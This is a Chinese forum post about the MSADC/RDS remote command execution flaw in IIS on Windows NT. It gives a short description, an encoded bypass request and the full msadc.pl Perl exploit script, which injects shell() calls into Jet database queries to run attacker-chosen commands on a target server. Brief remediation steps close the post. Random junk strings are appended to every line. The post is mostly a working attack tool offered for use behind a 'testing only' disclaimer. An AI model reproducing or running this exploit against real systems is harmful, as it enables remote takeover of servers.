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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |ZodlYF  
yj4+5`|f  
涉及程序: LZMYr  
Microsoft NT server Kwc6mlw~M  
4f(Kt,0  
描述: 2pdvWWh3l  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Sa19q.~%  
xBu1Ak8w  
详细: T~h5B(J;  
如果你没有时间读详细内容的话,就删除: n$xQ[4eH)  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6<K6Y5<6  
有关的安全问题就没有了。 :eo  
;n|^1S<[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 .9O$G2'oh  
iNwqF0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 N'xSG`,Mg  
关于利用ODBC远程漏洞的描述,请参看: oD}uOC}FS{  
jqr1V_3(  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "UwH\T4I  
^5r9 5  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 xkOpa,=FI  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =2w4C_  
Lg"C]  
这里不再论述。 Y.^=]-n,  
K'#E3={tt  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {BHI1Uw  
:!zl^J;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset dg4vc][  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +l=r#JF  
Z$J#|  
u1xSp<59C  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !n^OM?.4  
.f+TZDUO  
#!perl b,8{ X<  
# # p[',$cC  
# MSADC/RDS 'usage' (aka exploit) script " vtCTl~t  
# MQin"\  
# by rain.forest.puppy IHRGw  
# $['Bv  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me J*9$;  
# beta test and find errors! NWxUn.Gy9  
-GLMmZJt  
use Socket; use Getopt::Std; G9JAcO1  
getopts("e:vd:h:XR", \%args); u+{a8=  
?k(\ApVHj  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; A=Ss6 -Je  
@?"h !fyu  
if (!defined $args{h} && !defined $args{R}) { 8b0d]*q  
print qq~ }`+B=h-dW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S8e{K  
-h <host> = host you want to scan (ip or domain) E@Ad'_H  
-d <seconds> = delay between calls, default 1 second 2k<;R':  
-X = dump Index Server path table, if available ,!U=|c"k)  
-v = verbose {/pm<k=  
-e = external dictionary file for step 5 VE8;sGaJ  
`O'`eY1f  
Or a -R will resume a command session @O[5M2|r  
-kbg\,PW  
~; exit;} ]5%/3P,/  
UT="2*3gz  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; N<DGw?Rl  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [|l?2j\  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )XWP\ h  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); H<1WbM:w  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} FN[{s  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } EAeqLtFqs  
o: ;"w"G  
if (!defined $args{R}){ $ret = &has_msadc; -1J[n0O.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} cYqfsd# B  
W2.qhY5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" o;?/HE%,[  
. "cmd /c "; 4Fm90O  
$in=<STDIN>; chomp $in; uIZWO.OdU  
$command="cmd /c " . $in ; 'e6WDC1Am(  
}*L(;r)q  
if (defined $args{R}) {&load; exit;} P 3'O/!  
{P*m;a`}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?Ae ve n  
&try_btcustmr; Q f@  
AFAAuFE"  
print "\nStep 2: Trying to make our own DSN..."; 8(* [Fe9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; a1@Y3M Q;i  
2p " WTd  
print "\nStep 3: Trying known DSNs..."; 7.`fJf?  
&known_dsn; \eFR(gO+  
I(XOE$3  
print "\nStep 4: Trying known .mdbs..."; f%*/cpA)  
&known_mdb; Qubp9C#r  
l'eyq}&  
if (defined $args{e}){ G.UI|r /Kz  
print "\nStep 5: Trying dictionary of DSN names..."; pa# IJ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } h2D>;k  
uS^Ipxe\  
print "Sorry Charley...maybe next time?\n"; R2 V4#  
exit; D gaMO,  
9 yfJVg  
############################################################################## Q 7?#=N?  
eow'K 821A  
sub sendraw { # ripped and modded from whisker dN$Tf  
sleep($delay); # it's a DoS on the server! At least on mine... k`N^Vdr  
my ($pstr)=@_; rh^mJU h  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @/31IOIV]`  
die("Socket problems\n"); VzVc37 Z>6  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3p'I5,}  
select(S); $|=1; =y!$/(H  
print $pstr; my @in=<S>; zOiu5  
select(STDOUT); close(S); ruy}/7uf  
return @in; %ALwz[~]  
} else { die("Can't connect...\n"); }} >m$ 1+30X  
=z /dcC$r  
############################################################################## kbe-1 <72  
BT"XT5@  
sub make_header { # make the HTTP request ?pd8w#O  
my $msadc=<<EOT u`RI;KF~F  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 eYvWZJa4  
User-Agent: ACTIVEDATA sjV!5Z  
Host: $ip %xyou:~0zs  
Content-Length: $clen @8I4[TE  
Connection: Keep-Alive k-^mIJo}  
53n^3M,qK  
ADCClientVersion:01.06 , JQp'e  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 AnX%[W "  
2V#>)R#k  
--!ADM!ROX!YOUR!WORLD! s|y "WDyx5  
Content-Type: application/x-varg :Nz2z[W$  
Content-Length: $reqlen lp^<3o*1  
gK'1ZLdZ2  
EOT $[a8$VY^Cm  
; $msadc=~s/\n/\r\n/g; CTZ8Da^  
return $msadc;} Y<%@s}zc  
wLnf@&jQ%  
############################################################################## ~ r4 38&  
#6HA\dE  
sub make_req { # make the RDS request x5-}h*  
my ($switch, $p1, $p2)=@_; 85Otss/mM  
my $req=""; my $t1, $t2, $query, $dsn; ]z/8KL  
4?q <e*W  
if ($switch==1){ # this is the btcustmr.mdb query 0i\M,TNf*  
$query="Select * from Customers where City=" . make_shell(); )x=1]T>v"'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . I$Op:P6.E  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} S(*sw 0O@+  
i\rDu^VQ  
elsif ($switch==2){ # this is general make table query x#xFh0CA  
$query="create table AZZ (B int, C varchar(10))"; HOJs[mqB%  
$dsn="$p1";} U"^kH|  
gL *>[@RO  
elsif ($switch==3){ # this is general exploit table query (G;l x  
$query="select * from AZZ where C=" . make_shell(); st:`y=F_  
$dsn="$p1";} UMm!B`M  
S]Mw #O|  
elsif ($switch==4){ # attempt to hork file info from index server b((M)Gz  
$query="select path from scope()"; E^/t$M|H  
$dsn="Provider=MSIDXS;";} tnN.:%mZ  
B][U4WJ)  
elsif ($switch==5){ # bad query E%,^Yvh/  
$query="select"; ':3 pq2{  
$dsn="$p1";} # Oc] @  
%u5L!W&  
$t1= make_unicode($query); 1Vrh4g.l  
$t2= make_unicode($dsn); 5A3xVN=  
$req = "\x02\x00\x03\x00"; <oT^A|JFj  
$req.= "\x08\x00" . pack ("S1", length($t1)); i%#+\F.&  
$req.= "\x00\x00" . $t1 ; 8m\7*l^D:  
$req.= "\x08\x00" . pack ("S1", length($t2)); {E9+WFz5  
$req.= "\x00\x00" . $t2 ; QSdHm  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0zlb0[  
return $req;} $j5K8Ad  
/'l{E  
############################################################################## * K D I}B>  
7vrl'^1  
sub make_shell { # this makes the shell() statement j<V Fn~*_  
return "'|shell(\"$command\")|'";} d iL +:H  
5HkKurab  
############################################################################## QkEvw<  
e,vvzs o  
sub make_unicode { # quick little function to convert to unicode %et } A93  
my ($in)=@_; my $out; Wz49i9e+d  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =jOv] /  
return $out;} t{^*6XOcJ  
6}[I2F_^  
############################################################################## [!HEQ8 2g  
AN8`7F1  
sub rdo_success { # checks for RDO return success (this is kludge) f332J  
my (@in) = @_; my $base=content_start(@in); V@e?#iz  
if($in[$base]=~/multipart\/mixed/){ ;qafT@ }C  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} X0bN3N  
return 0;} Vd,jlt.t  
mZtCL  
############################################################################## V:In>u$QJ!  
Xx."$l  
sub make_dsn { # this makes a DSN for us :~e>Ob[,"  
my @drives=("c","d","e","f"); l&OKBUG  
print "\nMaking DSN: "; TJ_$vI  
foreach $drive (@drives) { WejY y|  
print "$drive: "; @r/#-?W  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . \HxT@UQ)~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #^l L5=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); xu/cq9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Zd^rNHhA  
return 0 if $2 eq "404"; # not found/doesn't exist .zA^)qgL  
if($2 eq "200") { >Ea8G,  
foreach $line (@results) { 2h|MXI\g  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p `8 s  
} return 0;} rq8K_zp  
Uol|9F  
############################################################################## [w>$QR  
rn/ /%  
sub verify_exists { >:AARx%  
my ($page)=@_; KyVQh8  
my @results=sendraw("GET $page HTTP/1.0\n\n"); yzbx .  
return $results[0];}  8{wwd:6  
w k(VR  
############################################################################## q.KG^=10  
3 R=,1<  
sub try_btcustmr { UldXYtGe  
my @drives=("c","d","e","f"); ~bM4[*Q7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N=4G=0 `ke  
WZ-s--n#  
foreach $dir (@dirs) { y?[ v=j*U  
print "$dir -> "; # fun status so you can see progress 7]U"Z*  
foreach $drive (@drives) { "Q}#^h]F  
print "$drive: "; # ditto <;9 I@VYK  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nno}e/zqf  
$reqlenlen=length( "$reqlen" ); T%.8 '9  
$clen= 206 + $reqlenlen + $reqlen; <":;+ Ng+  
B8nf,dj?X  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); bx#>BK!  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;;_,~pI?k  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} N+m)/x =:  
oiF}?:7Q7  
############################################################################## RHaI~jb  
:}Xll#.,m  
sub odbc_error { NTdixfR  
my (@in)=@_; my $base; `_BNy=`s*  
my $base = content_start(@in); ]9YJ,d@J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this zcel|oz)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3)F |*F3R  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S'|,oUWDb  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jlkmLcpf  
return $in[$base+4].$in[$base+5].$in[$base+6];} o>).Cj  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; v/Py"hQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . HTVuStM8  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} x*![fK  
na#CpS;pc  
############################################################################## ]p _L)  
q+Lr"&'Q  
sub verbose { bt"W(m&f  
my ($in)=@_; R{WE\T'  
return if !$verbose; $}<PL}+  
print STDOUT "\n$in\n";} ~8~aJ^[  
vX{J' H]u  
############################################################################## M2HomO/X)  
u5O+1sZ"6  
sub save { M=%l}FSTw(  
my ($p1, $p2, $p3, $p4)=@_; aK&b{d  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W0y '5`  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; PpGL/,]X  
close OUT;} ]Uw<$!$-]s  
r#+d&.|  
############################################################################## ?HTj mIb  
VO,!x~S!  
sub load { 8I-u2Y$Sr  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vGc,vjC3x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o 4`hY/<t  
@p=<IN>; close(IN); qHsUP;7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); vqnw#U4`  
$target= inet_aton($ip) || die("inet_aton problems");  +EFgE1w  
print "Resuming to $ip ..."; [DJflCR&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; B.wYHNNV  
if($p[1]==1) { @.osJ}FxA  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; wmk *h-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; kd=GCO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Vx(B{5>Vu  
if (rdo_success(@results)){print "Success!\n";} uXI_M)  
else { print "failed\n"; verbose(odbc_error(@results));}} {p)",)td  
elsif ($p[1]==3){ @En^wN  
if(run_query("$p[3]")){ $ .C=H[QC  
print "Success!\n";} else { print "failed\n"; }} /,1D)0  
elsif ($p[1]==4){ mYxuA0/k  
if(run_query($drvst . "$p[3]")){ `Y BC  
print "Success!\n"; } else { print "failed\n"; }} vh"R'o  
exit;} 7q?9Tj3  
` BDLW%aL  
############################################################################## L=c!:p|7)  
aY3^C q(r  
sub create_table { A54N\x,  
my ($in)=@_; lwHzj&/ ~  
$reqlen=length( make_req(2,$in,"") ) - 28; flk=>h|  
$reqlenlen=length( "$reqlen" ); @'YS1N<  
$clen= 206 + $reqlenlen + $reqlen; P6E3-?4j  
my @results=sendraw(make_header() . make_req(2,$in,"")); bIGHGd  
return 1 if rdo_success(@results); nS/)P4z  
my $temp= odbc_error(@results); verbose($temp); d1T,eJ}  
return 1 if $temp=~/Table 'AZZ' already exists/; x HoKo  
return 0;} UV5Ie!\nm  
1lq(PGX)  
############################################################################## jH19k}D  
Acnl^x7Y1  
sub known_dsn { +IrLDsd  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go aF)1Nm[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", lFa02p0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z8{a(nKP  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); nFE4qm  
F4It/  
foreach $dSn (@dsns) { W^fuScG)c  
print "."; ">~.$Jp_4  
next if (!is_access("DSN=$dSn")); 7Ok;Lt!x  
if(create_table("DSN=$dSn")){ .9R [ *<  
print "$dSn successful\n"; .nG#co"r}3  
if(run_query("DSN=$dSn")){ :r%P.60H X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nNrPHNfqD  
print "Something's borked. Use verbose next time\n";}}} print "\n";} A{UULVp  
.zS?9MP  
############################################################################## kdCUORMK  
pcau}5 .  
sub is_access { JmPHAUd  
my ($in)=@_; b}0,\B%  
$reqlen=length( make_req(5,$in,"") ) - 28; }MRd@ 0-?!  
$reqlenlen=length( "$reqlen" ); 0QPH}Vi5}  
$clen= 206 + $reqlenlen + $reqlen; }Mo=PWI1?  
my @results=sendraw(make_header() . make_req(5,$in,"")); S?RN?1  
my $temp= odbc_error(@results); ]GN7+ 8l  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9&upu jVS  
return 0;} -M%_\;"de  
|o,8V p  
############################################################################## bSsh^Z  
kHXL8k#T  
sub run_query { h]og*(  
my ($in)=@_; C3< m7h  
$reqlen=length( make_req(3,$in,"") ) - 28; ,z3{u162  
$reqlenlen=length( "$reqlen" ); 9UKp?SIF  
$clen= 206 + $reqlenlen + $reqlen; ]d,S749(s  
my @results=sendraw(make_header() . make_req(3,$in,"")); G:<`moKgL  
return 1 if rdo_success(@results); .{ 44a$)  
my $temp= odbc_error(@results); verbose($temp); wB.Nn/p  
return 0;} Qi_>Mg`x  
cs T2B[f9D  
############################################################################## V2$h8\a  
GKvN* SU=  
sub known_mdb { d@ Y}SWTB  
my @drives=("c","d","e","f","g"); HFwN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \cC%!4  
my $dir, $drive, $mdb; 9;Itqe{8w  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ._8KsuJG  
qtiz a~u  
# this is sparse, because I don't know of many _Dym{!t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 6:q"l\n>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", xZ|Y ?R5m  
"\\system32\\certmdb.mdb", NG  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% YhOlxON  
T^T[$26  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", q6_u@:3u  
"\\cfusion\\cfapps\\forums\\forums_.mdb", T%6&PrQ7  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Lg~B'd8m  
"\\cfusion\\cfapps\\security\\realm_.mdb", <Ard 7UT  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |;.o8}  
"\\cfusion\\database\\cfexamples.mdb", I4i2+ *l}  
"\\cfusion\\database\\cfsnippets.mdb", }e2(T  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0G7K8`a  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", X>NhZ5\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bHg,1y)UC  
"\\cfusion\\database\\smpolicy.mdb", ?CC"Yij  
"\\cfusion\\database\cypress.mdb", 356>QW'm  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", K?s+3  
"\\website\\cgi-win\\dbsample.mdb", [%9no B  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", UNPezHaz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" LbaK={tR  
); #these are just L3 G \  
foreach $drive (@drives) { e*bH0';q  
foreach $dir (@dirs){ UilMv~0  
foreach $mdb (@sysmdbs) { QmLF[\Oo_  
print "."; ,$'])A?$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0PU8 #2pR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; /e]'u&a  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Gm9hYhC8  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,WJH}(h"D  
} else { print "Something's borked. Use verbose next time\n"; }}}}} uiJS8(Cb  
,0E{h}(  
foreach $drive (@drives) { taFn![}/!g  
foreach $mdb (@mdbs) { DXa=|T  
print "."; _~q?_'kx  
if(create_table($drv . $drive . $dir . $mdb)){ wk6NG/<  
print "\n" . $drive . $dir . $mdb . " successful\n"; bYi`R)  
if(run_query($drv . $drive . $dir . $mdb)){ IkrF/$r  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^5A t?I8  
} else { print "Something's borked. Use verbose next time\n"; }}}} +hE(Ra#  
} u%]shm  
P>sFV  
############################################################################## 1gmt2>#v%  
lu#LCG-.  
sub hork_idx { rAs,X  
print "\nAttempting to dump Index Server tables...\n"; '=1KVE^Fk  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $<^u^q37u  
$reqlen=length( make_req(4,"","") ) - 28; /v/C<]  
$reqlenlen=length( "$reqlen" ); /[6j)HIS  
$clen= 206 + $reqlenlen + $reqlen; -S$1Yn  
my @results=sendraw2(make_header() . make_req(4,"","")); yv\#8I:qh  
if (rdo_success(@results)){ j'aHF#_  
my $max=@results; my $c; my %d; g8w2Vz2/  
for($c=19; $c<$max; $c++){ UK1_0tp]x  
$results[$c]=~s/\x00//g; ^2$ lJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x7vctjM|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :.?gHF.?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; F29v a  
$d{"$1$2"}="";} ?gPKcjgoH!  
foreach $c (keys %d){ print "$c\n"; } ,_X /Gb6)  
} else {print "Index server doesn't seem to be installed.\n"; }} #7ov#_2Jd  
@#P,d5^G  
############################################################################## B9T!j]'  
mk3_  
sub dsn_dict { zCOgBT~p   
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ZxlAk+<]  
while(<IN>){ !<UJ6t}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ]D@0|  
next if (!is_access("DSN=$dSn")); 0b/WpP  
if(create_table("DSN=$dSn")){ ,(.MmP`  
print "$dSn successful\n"; t\RF=BbJJ  
if(run_query("DSN=$dSn")){ {0;3W7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &z]K\-xp  
print "Something's borked. Use verbose next time\n";}}} f+|$&p%  
print "\n"; close(IN);} 4n %?YQ[t  
!q-f9E4`  
############################################################################## +uBLk0/)>  
25NTIzI@@  
sub sendraw2 { # ripped and modded from whisker }?&k a$rI  
sleep($delay); # it's a DoS on the server! At least on mine... 3Wwj p  
my ($pstr)=@_; CH fVQ|!\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M\Gdn92pd  
die("Socket problems\n"); Qj3a_p$)P  
if(connect(S,pack "SnA4x8",2,80,$target)){ etd&..]J  
print "Connected. Getting data"; <BSc* 9Q  
open(OUT,">raw.out"); my @in; >(y<0   
select(S); $|=1; print $pstr; RJy=pNztm  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 7@6g<"I  
close(OUT); select(STDOUT); close(S); return @in; .i^7|o:  
} else { die("Can't connect...\n"); }} Yk42(!  
h?-#9<A  
############################################################################## }gkM^*$:%  
TRZRYm"  
sub content_start { # this will take in the server headers oG7q_4+&  
my (@in)=@_; my $c; ,v&L:a  
for ($c=1;$c<500;$c++) { jqH3J2L  
if($in[$c] =~/^\x0d\x0a/){ {V1Pp;A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } or k=`};  
else { return $c+1; }}} |7B!^ K  
return -1;} # it should never get here actually $7QoMV8V  
saU]`w_Z*  
############################################################################## QI]Ih  
sz-- 27es  
sub funky { ~2d:Q6  
my (@in)=@_; my $error=odbc_error(@in); zZiJ 9 e  
if($error=~/ADO could not find the specified provider/){ m~lpyAw  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; U!XS;a)  
exit;} U$H @ jJ*  
if($error=~/A Handler is required/){ 4d_s%n?C  
print "\nServer has custom handler filters (they most likely are patched)\n"; w'X]M#Q><  
exit;} V:/7f*n7  
if($error=~/specified Handler has denied Access/){ 'xv8Gwf"  
print "\nServer has custom handler filters (they most likely are patched)\n"; +,v-=~5  
exit;}} ~^ ^ NHq  
7O`o ovW$  
############################################################################## |0{u->+ )  
u*7Z~R  
sub has_msadc { "xAWG$b  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Z+pom7A"E  
my $base=content_start(@results); y fSM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?R-9W+U%f  
return 0;} yAL1O94  
_MWM;f`b  
######################## \V2,pi8'v  
M=xQ=j?  
CzV(cSS9-  
解决方案: AM} brO  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :Vg}V"QR  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 JNWg|Qt  
,jy*1Hjd  
拿出来充数 哈哈
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